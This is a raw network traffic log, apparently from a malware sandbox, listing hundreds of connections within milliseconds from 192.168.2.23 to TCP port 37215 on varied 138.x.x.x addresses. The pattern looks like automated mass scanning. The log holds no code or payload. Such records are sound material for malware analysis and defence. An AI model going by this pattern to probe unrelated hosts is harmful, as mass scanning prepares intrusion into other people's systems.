Feb 20, 2022 15:51:02.826050997 CET	1898	37215	192.168.2.23	138.243.95.238
Feb 20, 2022 15:51:02.826075077 CET	1898	37215	192.168.2.23	138.199.43.202
Feb 20, 2022 15:51:02.826076031 CET	1898	37215	192.168.2.23	138.233.164.7
Feb 20, 2022 15:51:02.826105118 CET	1898	37215	192.168.2.23	138.29.125.164
Feb 20, 2022 15:51:02.826105118 CET	1386	37215	192.168.2.23	138.127.223.44
Feb 20, 2022 15:51:02.826164007 CET	1898	37215	192.168.2.23	138.151.1.146
Feb 20, 2022 15:51:02.826184034 CET	1386	37215	192.168.2.23	138.42.62.25
Feb 20, 2022 15:51:02.826206923 CET	1386	37215	192.168.2.23	138.203.45.149
Feb 20, 2022 15:51:02.826220036 CET	1898	37215	192.168.2.23	138.255.117.229
Feb 20, 2022 15:51:02.826226950 CET	1898	37215	192.168.2.23	138.31.178.98
Feb 20, 2022 15:51:02.826234102 CET	1898	37215	192.168.2.23	138.135.58.55
Feb 20, 2022 15:51:02.826240063 CET	1386	37215	192.168.2.23	138.117.14.116
Feb 20, 2022 15:51:02.826277971 CET	1898	37215	192.168.2.23	138.192.22.160
Feb 20, 2022 15:51:02.826287985 CET	1898	37215	192.168.2.23	138.127.222.4
Feb 20, 2022 15:51:02.826307058 CET	1898	37215	192.168.2.23	138.187.21.64
Feb 20, 2022 15:51:02.826324940 CET	1386	37215	192.168.2.23	138.238.102.33
Feb 20, 2022 15:51:02.826328993 CET	1898	37215	192.168.2.23	138.138.131.108
Feb 20, 2022 15:51:02.826363087 CET	1898	37215	192.168.2.23	138.194.207.24
Feb 20, 2022 15:51:02.826384068 CET	1898	37215	192.168.2.23	138.152.243.93
Feb 20, 2022 15:51:02.826385021 CET	1386	37215	192.168.2.23	138.111.223.191
Feb 20, 2022 15:51:02.826390982 CET	1898	37215	192.168.2.23	138.128.132.252
Feb 20, 2022 15:51:02.826426029 CET	1898	37215	192.168.2.23	138.105.174.223
Feb 20, 2022 15:51:02.826452971 CET	1898	37215	192.168.2.23	138.212.233.168
Feb 20, 2022 15:51:02.826461077 CET	1386	37215	192.168.2.23	138.231.235.119
Feb 20, 2022 15:51:02.826473951 CET	1898	37215	192.168.2.23	138.128.25.76
Feb 20, 2022 15:51:02.826474905 CET	1898	37215	192.168.2.23	138.5.158.104
Feb 20, 2022 15:51:02.826519012 CET	1898	37215	192.168.2.23	138.175.34.38
Feb 20, 2022 15:51:02.826524019 CET	1898	37215	192.168.2.23	138.74.175.205
Feb 20, 2022 15:51:02.826543093 CET	1386	37215	192.168.2.23	138.120.160.126
Feb 20, 2022 15:51:02.826548100 CET	1898	37215	192.168.2.23	138.16.118.114
Feb 20, 2022 15:51:02.826586008 CET	1386	37215	192.168.2.23	138.153.151.67
Feb 20, 2022 15:51:02.826601028 CET	1898	37215	192.168.2.23	138.169.164.42
Feb 20, 2022 15:51:02.826601982 CET	1898	37215	192.168.2.23	138.177.83.169
Feb 20, 2022 15:51:02.826647043 CET	1898	37215	192.168.2.23	138.92.6.82
Feb 20, 2022 15:51:02.826648951 CET	1898	37215	192.168.2.23	138.95.190.35
Feb 20, 2022 15:51:02.826651096 CET	1386	37215	192.168.2.23	138.225.87.8
Feb 20, 2022 15:51:02.826653004 CET	1898	37215	192.168.2.23	138.92.85.106
Feb 20, 2022 15:51:02.826662064 CET	1898	37215	192.168.2.23	138.186.117.84
Feb 20, 2022 15:51:02.826694012 CET	1898	37215	192.168.2.23	138.3.2.82
Feb 20, 2022 15:51:02.826715946 CET	1386	37215	192.168.2.23	138.134.209.193
Feb 20, 2022 15:51:02.826730013 CET	1898	37215	192.168.2.23	138.169.70.53
Feb 20, 2022 15:51:02.826736927 CET	1898	37215	192.168.2.23	138.41.113.102
Feb 20, 2022 15:51:02.826756954 CET	1898	37215	192.168.2.23	138.168.197.94
Feb 20, 2022 15:51:02.826773882 CET	1898	37215	192.168.2.23	138.17.179.241
Feb 20, 2022 15:51:02.826797962 CET	1898	37215	192.168.2.23	138.80.43.132
Feb 20, 2022 15:51:02.826802015 CET	1386	37215	192.168.2.23	138.143.175.108
Feb 20, 2022 15:51:02.826821089 CET	1898	37215	192.168.2.23	138.51.189.204
Feb 20, 2022 15:51:02.826865911 CET	1386	37215	192.168.2.23	138.90.252.133
Feb 20, 2022 15:51:02.826869965 CET	1898	37215	192.168.2.23	138.44.140.207
Feb 20, 2022 15:51:02.826890945 CET	1898	37215	192.168.2.23	138.198.83.63
Feb 20, 2022 15:51:02.826893091 CET	1386	37215	192.168.2.23	138.100.138.124
Feb 20, 2022 15:51:02.826898098 CET	1898	37215	192.168.2.23	138.55.243.182
Feb 20, 2022 15:51:02.826931000 CET	1898	37215	192.168.2.23	138.17.194.31
Feb 20, 2022 15:51:02.826932907 CET	1898	37215	192.168.2.23	138.92.77.169
Feb 20, 2022 15:51:02.826970100 CET	1898	37215	192.168.2.23	138.54.135.184
Feb 20, 2022 15:51:02.826972008 CET	1386	37215	192.168.2.23	138.2.252.123
Feb 20, 2022 15:51:02.827011108 CET	1898	37215	192.168.2.23	138.170.192.35
Feb 20, 2022 15:51:02.827024937 CET	1898	37215	192.168.2.23	138.206.126.155
Feb 20, 2022 15:51:02.827037096 CET	1386	37215	192.168.2.23	138.13.121.84
Feb 20, 2022 15:51:02.827039003 CET	1898	37215	192.168.2.23	138.24.84.81
Feb 20, 2022 15:51:02.827039957 CET	1898	37215	192.168.2.23	138.184.79.47
Feb 20, 2022 15:51:02.827047110 CET	1898	37215	192.168.2.23	138.226.56.80
Feb 20, 2022 15:51:02.827095985 CET	1386	37215	192.168.2.23	138.208.160.81
Feb 20, 2022 15:51:02.827114105 CET	1898	37215	192.168.2.23	138.24.98.106
Feb 20, 2022 15:51:02.827120066 CET	1898	37215	192.168.2.23	138.35.28.166
Feb 20, 2022 15:51:02.827131987 CET	1898	37215	192.168.2.23	138.14.160.232
Feb 20, 2022 15:51:02.827159882 CET	1386	37215	192.168.2.23	138.123.172.124
Feb 20, 2022 15:51:02.827162981 CET	1898	37215	192.168.2.23	138.18.252.102
Feb 20, 2022 15:51:02.827167988 CET	1898	37215	192.168.2.23	138.203.32.215
Feb 20, 2022 15:51:02.827183008 CET	1898	37215	192.168.2.23	138.191.217.244
Feb 20, 2022 15:51:02.827224970 CET	1898	37215	192.168.2.23	138.253.230.158
Feb 20, 2022 15:51:02.827229977 CET	1898	37215	192.168.2.23	138.116.92.162
Feb 20, 2022 15:51:02.827243090 CET	1386	37215	192.168.2.23	138.166.197.113
Feb 20, 2022 15:51:02.827269077 CET	1898	37215	192.168.2.23	138.173.141.109
Feb 20, 2022 15:51:02.827303886 CET	1386	37215	192.168.2.23	138.84.60.175
Feb 20, 2022 15:51:02.827305079 CET	1898	37215	192.168.2.23	138.68.250.179
Feb 20, 2022 15:51:02.827347040 CET	1898	37215	192.168.2.23	138.232.49.130
Feb 20, 2022 15:51:02.827347994 CET	1898	37215	192.168.2.23	138.183.5.55
Feb 20, 2022 15:51:02.827363014 CET	1386	37215	192.168.2.23	138.72.67.94
Feb 20, 2022 15:51:02.827387094 CET	1898	37215	192.168.2.23	138.41.91.21
Feb 20, 2022 15:51:02.827411890 CET	1898	37215	192.168.2.23	138.231.8.25
Feb 20, 2022 15:51:02.827414036 CET	1898	37215	192.168.2.23	138.142.140.153
Feb 20, 2022 15:51:02.827428102 CET	1386	37215	192.168.2.23	138.68.164.37
Feb 20, 2022 15:51:02.827470064 CET	1898	37215	192.168.2.23	138.213.77.19
Feb 20, 2022 15:51:02.827487946 CET	1898	37215	192.168.2.23	138.65.99.30
Feb 20, 2022 15:51:02.827517033 CET	1386	37215	192.168.2.23	138.192.68.0
Feb 20, 2022 15:51:02.827539921 CET	1898	37215	192.168.2.23	138.53.96.80
Feb 20, 2022 15:51:02.827555895 CET	1898	37215	192.168.2.23	138.155.10.217
Feb 20, 2022 15:51:02.827580929 CET	1898	37215	192.168.2.23	138.42.23.13
Feb 20, 2022 15:51:02.827606916 CET	1898	37215	192.168.2.23	138.62.38.167
Feb 20, 2022 15:51:02.827610970 CET	1898	37215	192.168.2.23	138.98.50.202
Feb 20, 2022 15:51:02.827620029 CET	1386	37215	192.168.2.23	138.6.188.243
Feb 20, 2022 15:51:02.827629089 CET	1898	37215	192.168.2.23	138.52.237.154
Feb 20, 2022 15:51:02.827660084 CET	1386	37215	192.168.2.23	138.122.219.160
Feb 20, 2022 15:51:02.827703953 CET	1898	37215	192.168.2.23	138.84.53.16
Feb 20, 2022 15:51:02.827729940 CET	1898	37215	192.168.2.23	138.29.205.183
Feb 20, 2022 15:51:02.827742100 CET	1386	37215	192.168.2.23	138.241.183.128
Feb 20, 2022 15:51:02.827744961 CET	1898	37215	192.168.2.23	138.207.219.14
Feb 20, 2022 15:51:02.827773094 CET	1898	37215	192.168.2.23	138.73.232.1
Feb 20, 2022 15:51:02.827788115 CET	1386	37215	192.168.2.23	138.34.7.134
Feb 20, 2022 15:51:02.827826977 CET	1898	37215	192.168.2.23	138.112.125.232
Feb 20, 2022 15:51:02.827847004 CET	1386	37215	192.168.2.23	138.231.180.106
Feb 20, 2022 15:51:02.827894926 CET	1898	37215	192.168.2.23	138.107.113.191
Feb 20, 2022 15:51:02.827903032 CET	1386	37215	192.168.2.23	138.40.138.157
Feb 20, 2022 15:51:02.827904940 CET	1898	37215	192.168.2.23	138.72.151.232
Feb 20, 2022 15:51:02.827929974 CET	1898	37215	192.168.2.23	138.135.111.200
Feb 20, 2022 15:51:02.827976942 CET	1386	37215	192.168.2.23	138.201.81.133
Feb 20, 2022 15:51:02.827992916 CET	1898	37215	192.168.2.23	138.219.42.102
Feb 20, 2022 15:51:02.828027010 CET	1898	37215	192.168.2.23	138.33.49.58
Feb 20, 2022 15:51:02.828033924 CET	1386	37215	192.168.2.23	138.235.76.125
Feb 20, 2022 15:51:02.828066111 CET	1898	37215	192.168.2.23	138.77.235.38
Feb 20, 2022 15:51:02.828095913 CET	1898	37215	192.168.2.23	138.202.180.151
Feb 20, 2022 15:51:02.828098059 CET	1386	37215	192.168.2.23	138.214.92.131
Feb 20, 2022 15:51:02.828103065 CET	1898	37215	192.168.2.23	138.40.103.249
Feb 20, 2022 15:51:02.828155041 CET	1386	37215	192.168.2.23	138.171.1.67
Feb 20, 2022 15:51:02.828165054 CET	1898	37215	192.168.2.23	138.230.239.115
Feb 20, 2022 15:51:02.828202009 CET	1898	37215	192.168.2.23	138.66.220.248
Feb 20, 2022 15:51:02.828227997 CET	1898	37215	192.168.2.23	138.93.228.198
Feb 20, 2022 15:51:02.828233004 CET	1386	37215	192.168.2.23	138.78.64.249
Feb 20, 2022 15:51:02.828280926 CET	1898	37215	192.168.2.23	138.5.49.4
Feb 20, 2022 15:51:02.828289986 CET	1898	37215	192.168.2.23	138.193.167.170
Feb 20, 2022 15:51:02.828290939 CET	1386	37215	192.168.2.23	138.88.133.138
Feb 20, 2022 15:51:02.828299046 CET	1898	37215	192.168.2.23	138.31.102.30
Feb 20, 2022 15:51:02.828353882 CET	1386	37215	192.168.2.23	138.208.234.166
Feb 20, 2022 15:51:02.828360081 CET	1898	37215	192.168.2.23	138.239.172.154
Feb 20, 2022 15:51:02.828372955 CET	1898	37215	192.168.2.23	138.224.239.129
Feb 20, 2022 15:51:02.828429937 CET	1898	37215	192.168.2.23	138.96.163.236
Feb 20, 2022 15:51:02.828432083 CET	1386	37215	192.168.2.23	138.177.221.88
Feb 20, 2022 15:51:02.828434944 CET	1898	37215	192.168.2.23	138.87.30.88
Feb 20, 2022 15:51:02.828464031 CET	1898	37215	192.168.2.23	138.82.141.207
Feb 20, 2022 15:51:02.828490973 CET	1386	37215	192.168.2.23	138.227.89.225
Feb 20, 2022 15:51:02.828535080 CET	1898	37215	192.168.2.23	138.252.85.243
Feb 20, 2022 15:51:02.828536987 CET	1898	37215	192.168.2.23	138.159.115.180
Feb 20, 2022 15:51:02.828588009 CET	1898	37215	192.168.2.23	138.87.128.35
Feb 20, 2022 15:51:02.828593016 CET	1898	37215	192.168.2.23	138.235.243.86
Feb 20, 2022 15:51:02.828629017 CET	1898	37215	192.168.2.23	138.14.79.64
Feb 20, 2022 15:51:02.828629971 CET	1386	37215	192.168.2.23	138.83.94.82
Feb 20, 2022 15:51:02.828655005 CET	1386	37215	192.168.2.23	138.235.166.107
Feb 20, 2022 15:51:02.828655005 CET	1898	37215	192.168.2.23	138.4.245.91
Feb 20, 2022 15:51:02.828699112 CET	1898	37215	192.168.2.23	138.162.93.132
Feb 20, 2022 15:51:02.828702927 CET	1386	37215	192.168.2.23	138.93.247.223
Feb 20, 2022 15:51:02.828739882 CET	1386	37215	192.168.2.23	138.197.32.139
Feb 20, 2022 15:51:02.828753948 CET	1898	37215	192.168.2.23	138.249.67.93
Feb 20, 2022 15:51:02.828756094 CET	1898	37215	192.168.2.23	138.249.113.108
Feb 20, 2022 15:51:02.828808069 CET	1386	37215	192.168.2.23	138.99.98.231
Feb 20, 2022 15:51:02.828850031 CET	1898	37215	192.168.2.23	138.126.247.152
Feb 20, 2022 15:51:02.828866005 CET	1898	37215	192.168.2.23	138.186.195.221
Feb 20, 2022 15:51:02.828876019 CET	1386	37215	192.168.2.23	138.207.81.115
Feb 20, 2022 15:51:02.828881979 CET	1898	37215	192.168.2.23	138.166.142.243
Feb 20, 2022 15:51:02.828902006 CET	1898	37215	192.168.2.23	138.133.148.216
Feb 20, 2022 15:51:02.828926086 CET	1386	37215	192.168.2.23	138.146.76.217
Feb 20, 2022 15:51:02.828933001 CET	1898	37215	192.168.2.23	138.204.31.230
Feb 20, 2022 15:51:02.828962088 CET	1898	37215	192.168.2.23	138.25.225.154
Feb 20, 2022 15:51:02.828962088 CET	1898	37215	192.168.2.23	138.1.132.218
Feb 20, 2022 15:51:02.828999043 CET	1386	37215	192.168.2.23	138.189.186.97
Feb 20, 2022 15:51:02.829015017 CET	1898	37215	192.168.2.23	138.42.163.191
Feb 20, 2022 15:51:02.829019070 CET	1898	37215	192.168.2.23	138.4.61.191
Feb 20, 2022 15:51:02.829047918 CET	1898	37215	192.168.2.23	138.83.181.158
Feb 20, 2022 15:51:02.829056025 CET	1898	37215	192.168.2.23	138.217.224.199
Feb 20, 2022 15:51:02.829077005 CET	1898	37215	192.168.2.23	138.132.192.144
Feb 20, 2022 15:51:02.829090118 CET	1386	37215	192.168.2.23	138.34.86.209
Feb 20, 2022 15:51:02.829108953 CET	1898	37215	192.168.2.23	138.6.12.128
Feb 20, 2022 15:51:02.829145908 CET	1386	37215	192.168.2.23	138.147.114.188
Feb 20, 2022 15:51:02.829149008 CET	1898	37215	192.168.2.23	138.18.180.52
Feb 20, 2022 15:51:02.829194069 CET	1898	37215	192.168.2.23	138.254.211.216
Feb 20, 2022 15:51:02.829196930 CET	1898	37215	192.168.2.23	138.130.84.231
Feb 20, 2022 15:51:02.829209089 CET	1386	37215	192.168.2.23	138.24.188.0
Feb 20, 2022 15:51:02.829221964 CET	1898	37215	192.168.2.23	138.226.192.216
Feb 20, 2022 15:51:02.829255104 CET	1898	37215	192.168.2.23	138.69.201.166
Feb 20, 2022 15:51:02.829272032 CET	1898	37215	192.168.2.23	138.219.252.196
Feb 20, 2022 15:51:02.829283953 CET	1386	37215	192.168.2.23	138.54.108.189
Feb 20, 2022 15:51:02.829301119 CET	1898	37215	192.168.2.23	138.64.114.237
Feb 20, 2022 15:51:02.829315901 CET	1386	37215	192.168.2.23	138.167.152.238
Feb 20, 2022 15:51:02.829323053 CET	1898	37215	192.168.2.23	138.98.217.196
Feb 20, 2022 15:51:02.829324007 CET	1898	37215	192.168.2.23	138.13.87.68
Feb 20, 2022 15:51:02.829381943 CET	1898	37215	192.168.2.23	138.53.243.213
Feb 20, 2022 15:51:02.829382896 CET	1898	37215	192.168.2.23	138.253.184.240
Feb 20, 2022 15:51:02.829386950 CET	1386	37215	192.168.2.23	138.82.184.252
Feb 20, 2022 15:51:02.829396009 CET	1898	37215	192.168.2.23	138.184.117.201
Feb 20, 2022 15:51:02.829453945 CET	1898	37215	192.168.2.23	138.63.86.16
Feb 20, 2022 15:51:02.829471111 CET	1898	37215	192.168.2.23	138.143.106.27
Feb 20, 2022 15:51:02.829484940 CET	1386	37215	192.168.2.23	138.96.73.223
Feb 20, 2022 15:51:02.829488039 CET	1898	37215	192.168.2.23	138.7.52.35
Feb 20, 2022 15:51:02.829508066 CET	1898	37215	192.168.2.23	138.93.30.179
Feb 20, 2022 15:51:02.829538107 CET	1898	37215	192.168.2.23	138.61.135.64
Feb 20, 2022 15:51:02.829560041 CET	1898	37215	192.168.2.23	138.131.199.87
Feb 20, 2022 15:51:02.829562902 CET	1386	37215	192.168.2.23	138.212.99.59
Feb 20, 2022 15:51:02.829575062 CET	1898	37215	192.168.2.23	138.175.104.167
Feb 20, 2022 15:51:02.829585075 CET	1898	37215	192.168.2.23	138.189.208.247
Feb 20, 2022 15:51:02.829593897 CET	1386	37215	192.168.2.23	138.77.18.110
Feb 20, 2022 15:51:02.829598904 CET	1898	37215	192.168.2.23	138.88.47.116
Feb 20, 2022 15:51:02.829623938 CET	1898	37215	192.168.2.23	138.241.61.147
Feb 20, 2022 15:51:02.829673052 CET	1386	37215	192.168.2.23	138.15.158.239
Feb 20, 2022 15:51:02.829689026 CET	1898	37215	192.168.2.23	138.26.50.48
Feb 20, 2022 15:51:02.829694986 CET	1898	37215	192.168.2.23	138.64.123.99
Feb 20, 2022 15:51:02.829698086 CET	1386	37215	192.168.2.23	138.174.143.177
Feb 20, 2022 15:51:02.829710960 CET	1898	37215	192.168.2.23	138.88.147.9
Feb 20, 2022 15:51:02.829734087 CET	1898	37215	192.168.2.23	138.96.38.186
Feb 20, 2022 15:51:02.829757929 CET	1386	37215	192.168.2.23	138.202.72.133
Feb 20, 2022 15:51:02.829762936 CET	1898	37215	192.168.2.23	138.214.71.60
Feb 20, 2022 15:51:02.829782963 CET	1898	37215	192.168.2.23	138.185.146.172
Feb 20, 2022 15:51:02.829792976 CET	1898	37215	192.168.2.23	138.47.208.17
Feb 20, 2022 15:51:02.829819918 CET	1898	37215	192.168.2.23	138.183.186.24
Feb 20, 2022 15:51:02.829826117 CET	1386	37215	192.168.2.23	138.251.52.86
Feb 20, 2022 15:51:02.829828978 CET	1898	37215	192.168.2.23	138.224.218.247
Feb 20, 2022 15:51:02.829859972 CET	1898	37215	192.168.2.23	138.69.148.86
Feb 20, 2022 15:51:02.829865932 CET	1898	37215	192.168.2.23	138.117.194.122
Feb 20, 2022 15:51:02.829879999 CET	1898	37215	192.168.2.23	138.235.17.44
Feb 20, 2022 15:51:02.829900026 CET	1386	37215	192.168.2.23	138.222.79.184
Feb 20, 2022 15:51:02.829927921 CET	1898	37215	192.168.2.23	138.191.23.228
Feb 20, 2022 15:51:02.829936028 CET	1898	37215	192.168.2.23	138.66.190.96
Feb 20, 2022 15:51:02.829967022 CET	1898	37215	192.168.2.23	138.61.178.222
Feb 20, 2022 15:51:02.829977989 CET	1386	37215	192.168.2.23	138.253.253.207
Feb 20, 2022 15:51:02.829997063 CET	1898	37215	192.168.2.23	138.100.165.60
Feb 20, 2022 15:51:02.830014944 CET	1898	37215	192.168.2.23	138.20.130.81
Feb 20, 2022 15:51:02.830024958 CET	1386	37215	192.168.2.23	138.220.214.195
Feb 20, 2022 15:51:02.830050945 CET	1898	37215	192.168.2.23	138.216.87.180
Feb 20, 2022 15:51:02.830076933 CET	1898	37215	192.168.2.23	138.231.187.235
Feb 20, 2022 15:51:02.830085993 CET	1898	37215	192.168.2.23	138.131.58.22
Feb 20, 2022 15:51:02.830095053 CET	1898	37215	192.168.2.23	138.196.65.118
Feb 20, 2022 15:51:02.830100060 CET	1386	37215	192.168.2.23	138.112.147.197
Feb 20, 2022 15:51:02.830104113 CET	1898	37215	192.168.2.23	138.154.199.158
Feb 20, 2022 15:51:02.830144882 CET	1898	37215	192.168.2.23	138.165.193.205
Feb 20, 2022 15:51:02.830162048 CET	1386	37215	192.168.2.23	138.55.172.203
Feb 20, 2022 15:51:02.830164909 CET	1898	37215	192.168.2.23	138.22.165.89
Feb 20, 2022 15:51:02.830172062 CET	1898	37215	192.168.2.23	138.57.115.125
Feb 20, 2022 15:51:02.830204964 CET	1898	37215	192.168.2.23	138.128.139.69
Feb 20, 2022 15:51:02.830220938 CET	1898	37215	192.168.2.23	138.69.42.21
Feb 20, 2022 15:51:02.830223083 CET	1898	37215	192.168.2.23	138.66.233.151
Feb 20, 2022 15:51:02.830270052 CET	1386	37215	192.168.2.23	138.25.116.91
Feb 20, 2022 15:51:02.830282927 CET	1898	37215	192.168.2.23	138.252.199.0
Feb 20, 2022 15:51:02.830291986 CET	1386	37215	192.168.2.23	138.98.53.12
Feb 20, 2022 15:51:02.830295086 CET	1898	37215	192.168.2.23	138.229.78.184
Feb 20, 2022 15:51:02.830298901 CET	1898	37215	192.168.2.23	138.38.170.91
Feb 20, 2022 15:51:02.830310106 CET	1898	37215	192.168.2.23	138.124.241.146
Feb 20, 2022 15:51:02.830363989 CET	1898	37215	192.168.2.23	138.194.144.37
Feb 20, 2022 15:51:02.830365896 CET	1898	37215	192.168.2.23	138.74.3.228
Feb 20, 2022 15:51:02.830368996 CET	1386	37215	192.168.2.23	138.239.147.37
Feb 20, 2022 15:51:02.830373049 CET	1898	37215	192.168.2.23	138.146.210.97
Feb 20, 2022 15:51:02.830423117 CET	1898	37215	192.168.2.23	138.253.152.185
Feb 20, 2022 15:51:02.830440044 CET	1386	37215	192.168.2.23	138.236.9.100
Feb 20, 2022 15:51:02.830446959 CET	1898	37215	192.168.2.23	138.18.35.7
Feb 20, 2022 15:51:02.830452919 CET	1898	37215	192.168.2.23	138.141.150.52
Feb 20, 2022 15:51:02.830463886 CET	1898	37215	192.168.2.23	138.28.151.90
Feb 20, 2022 15:51:02.830490112 CET	1386	37215	192.168.2.23	138.246.126.160
Feb 20, 2022 15:51:02.830514908 CET	1898	37215	192.168.2.23	138.141.78.40
Feb 20, 2022 15:51:02.830516100 CET	1898	37215	192.168.2.23	138.44.65.34
Feb 20, 2022 15:51:02.830533981 CET	1898	37215	192.168.2.23	138.226.109.112
Feb 20, 2022 15:51:02.830559015 CET	1898	37215	192.168.2.23	138.141.163.25
Feb 20, 2022 15:51:02.830560923 CET	1386	37215	192.168.2.23	138.120.49.53
Feb 20, 2022 15:51:02.830569983 CET	1898	37215	192.168.2.23	138.140.96.81
Feb 20, 2022 15:51:02.830612898 CET	1386	37215	192.168.2.23	138.113.239.57
Feb 20, 2022 15:51:02.830615997 CET	1898	37215	192.168.2.23	138.179.146.211
Feb 20, 2022 15:51:02.830617905 CET	1898	37215	192.168.2.23	138.237.74.216
Feb 20, 2022 15:51:02.830663919 CET	1898	37215	192.168.2.23	138.21.130.143
Feb 20, 2022 15:51:02.830678940 CET	1898	37215	192.168.2.23	138.195.127.143
Feb 20, 2022 15:51:02.830691099 CET	1898	37215	192.168.2.23	138.128.12.127
Feb 20, 2022 15:51:02.830722094 CET	1386	37215	192.168.2.23	138.142.163.12
Feb 20, 2022 15:51:02.830725908 CET	1898	37215	192.168.2.23	138.13.79.133
Feb 20, 2022 15:51:02.830741882 CET	1898	37215	192.168.2.23	138.22.228.160
Feb 20, 2022 15:51:02.830748081 CET	1386	37215	192.168.2.23	138.96.77.162
Feb 20, 2022 15:51:02.830766916 CET	1898	37215	192.168.2.23	138.162.96.42
Feb 20, 2022 15:51:02.830795050 CET	1898	37215	192.168.2.23	138.191.32.202
Feb 20, 2022 15:51:02.830806971 CET	1898	37215	192.168.2.23	138.150.61.200
Feb 20, 2022 15:51:02.830812931 CET	1386	37215	192.168.2.23	138.75.185.80
Feb 20, 2022 15:51:02.830847025 CET	1898	37215	192.168.2.23	138.238.171.122
Feb 20, 2022 15:51:02.830852985 CET	1898	37215	192.168.2.23	138.118.178.6
Feb 20, 2022 15:51:02.830859900 CET	1898	37215	192.168.2.23	138.148.108.251
Feb 20, 2022 15:51:02.830871105 CET	1386	37215	192.168.2.23	138.253.37.4
Feb 20, 2022 15:51:02.830873966 CET	1898	37215	192.168.2.23	138.207.32.73
Feb 20, 2022 15:51:02.830905914 CET	1898	37215	192.168.2.23	138.91.103.51
Feb 20, 2022 15:51:02.830909967 CET	1898	37215	192.168.2.23	138.206.225.3
Feb 20, 2022 15:51:02.830940962 CET	1898	37215	192.168.2.23	138.154.100.31
Feb 20, 2022 15:51:02.830948114 CET	1898	37215	192.168.2.23	138.119.242.237
Feb 20, 2022 15:51:02.830955029 CET	1386	37215	192.168.2.23	138.204.128.31
Feb 20, 2022 15:51:02.830969095 CET	1898	37215	192.168.2.23	138.181.234.134
Feb 20, 2022 15:51:02.831010103 CET	1898	37215	192.168.2.23	138.14.245.109
Feb 20, 2022 15:51:02.831012011 CET	1898	37215	192.168.2.23	138.100.77.188
Feb 20, 2022 15:51:02.831022024 CET	1898	37215	192.168.2.23	138.95.226.244
Feb 20, 2022 15:51:02.831068993 CET	1386	37215	192.168.2.23	138.69.74.208
Feb 20, 2022 15:51:02.831084967 CET	1386	37215	192.168.2.23	138.255.161.144
Feb 20, 2022 15:51:02.831093073 CET	1898	37215	192.168.2.23	138.33.75.79
Feb 20, 2022 15:51:02.831094027 CET	1898	37215	192.168.2.23	138.144.253.191
Feb 20, 2022 15:51:02.831104040 CET	1898	37215	192.168.2.23	138.226.21.124
Feb 20, 2022 15:51:02.831113100 CET	1898	37215	192.168.2.23	138.20.195.110
Feb 20, 2022 15:51:02.831147909 CET	1898	37215	192.168.2.23	138.199.201.13
Feb 20, 2022 15:51:02.831162930 CET	1898	37215	192.168.2.23	138.16.178.175
Feb 20, 2022 15:51:02.831163883 CET	1386	37215	192.168.2.23	138.56.33.171
Feb 20, 2022 15:51:02.831188917 CET	1898	37215	192.168.2.23	138.92.249.84
Feb 20, 2022 15:51:02.831191063 CET	1898	37215	192.168.2.23	138.243.121.84
Feb 20, 2022 15:51:02.831216097 CET	1898	37215	192.168.2.23	138.210.193.205
Feb 20, 2022 15:51:02.831252098 CET	1386	37215	192.168.2.23	138.21.103.76
Feb 20, 2022 15:51:02.831258059 CET	1898	37215	192.168.2.23	138.48.64.35
Feb 20, 2022 15:51:02.831281900 CET	1898	37215	192.168.2.23	138.156.249.80
Feb 20, 2022 15:51:02.831309080 CET	1898	37215	192.168.2.23	138.125.39.7
Feb 20, 2022 15:51:02.831337929 CET	1386	37215	192.168.2.23	138.48.215.215
Feb 20, 2022 15:51:02.831346989 CET	1386	37215	192.168.2.23	138.249.159.105
Feb 20, 2022 15:51:02.831353903 CET	1898	37215	192.168.2.23	138.255.220.123
Feb 20, 2022 15:51:02.831355095 CET	1898	37215	192.168.2.23	138.49.47.115
Feb 20, 2022 15:51:02.831367016 CET	1898	37215	192.168.2.23	138.65.170.244
Feb 20, 2022 15:51:02.831412077 CET	1386	37215	192.168.2.23	138.149.220.219
Feb 20, 2022 15:51:02.831413984 CET	1898	37215	192.168.2.23	138.19.44.93
Feb 20, 2022 15:51:02.831428051 CET	1898	37215	192.168.2.23	138.249.40.42
Feb 20, 2022 15:51:02.831473112 CET	1898	37215	192.168.2.23	138.135.7.211
Feb 20, 2022 15:51:02.831492901 CET	1898	37215	192.168.2.23	138.246.20.126
Feb 20, 2022 15:51:02.831511021 CET	1386	37215	192.168.2.23	138.173.128.105
Feb 20, 2022 15:51:02.831517935 CET	1898	37215	192.168.2.23	138.105.124.175
Feb 20, 2022 15:51:02.831525087 CET	1898	37215	192.168.2.23	138.250.133.150
Feb 20, 2022 15:51:02.831564903 CET	1898	37215	192.168.2.23	138.178.212.250
Feb 20, 2022 15:51:02.831574917 CET	1386	37215	192.168.2.23	138.14.80.216
Feb 20, 2022 15:51:02.831598043 CET	1898	37215	192.168.2.23	138.238.106.188
Feb 20, 2022 15:51:02.831604004 CET	1898	37215	192.168.2.23	138.124.53.157
Feb 20, 2022 15:51:02.831609964 CET	1898	37215	192.168.2.23	138.249.158.2
Feb 20, 2022 15:51:02.831621885 CET	1386	37215	192.168.2.23	138.122.66.89
Feb 20, 2022 15:51:02.831625938 CET	1898	37215	192.168.2.23	138.37.46.252
Feb 20, 2022 15:51:02.831664085 CET	1898	37215	192.168.2.23	138.31.66.106
Feb 20, 2022 15:51:02.831685066 CET	1386	37215	192.168.2.23	138.148.130.61
Feb 20, 2022 15:51:02.831702948 CET	1898	37215	192.168.2.23	138.45.96.176
Feb 20, 2022 15:51:02.831724882 CET	1898	37215	192.168.2.23	138.116.74.108
Feb 20, 2022 15:51:02.831753969 CET	1386	37215	192.168.2.23	138.199.208.87
Feb 20, 2022 15:51:02.831756115 CET	1898	37215	192.168.2.23	138.11.127.161
Feb 20, 2022 15:51:02.831768990 CET	1898	37215	192.168.2.23	138.141.87.53
Feb 20, 2022 15:51:02.831788063 CET	1898	37215	192.168.2.23	138.72.248.228
Feb 20, 2022 15:51:02.831801891 CET	1386	37215	192.168.2.23	138.35.100.251
Feb 20, 2022 15:51:02.831814051 CET	1898	37215	192.168.2.23	138.214.148.189
Feb 20, 2022 15:51:02.831820965 CET	1898	37215	192.168.2.23	138.147.15.119
Feb 20, 2022 15:51:02.831842899 CET	1898	37215	192.168.2.23	138.107.60.96
Feb 20, 2022 15:51:02.831876040 CET	1386	37215	192.168.2.23	138.178.175.89
Feb 20, 2022 15:51:02.831878901 CET	1898	37215	192.168.2.23	138.215.93.159
Feb 20, 2022 15:51:02.831891060 CET	1898	37215	192.168.2.23	138.171.22.122
Feb 20, 2022 15:51:02.831907988 CET	1898	37215	192.168.2.23	138.202.17.129
Feb 20, 2022 15:51:02.831944942 CET	1898	37215	192.168.2.23	138.10.143.41
Feb 20, 2022 15:51:02.831949949 CET	1898	37215	192.168.2.23	138.217.109.215
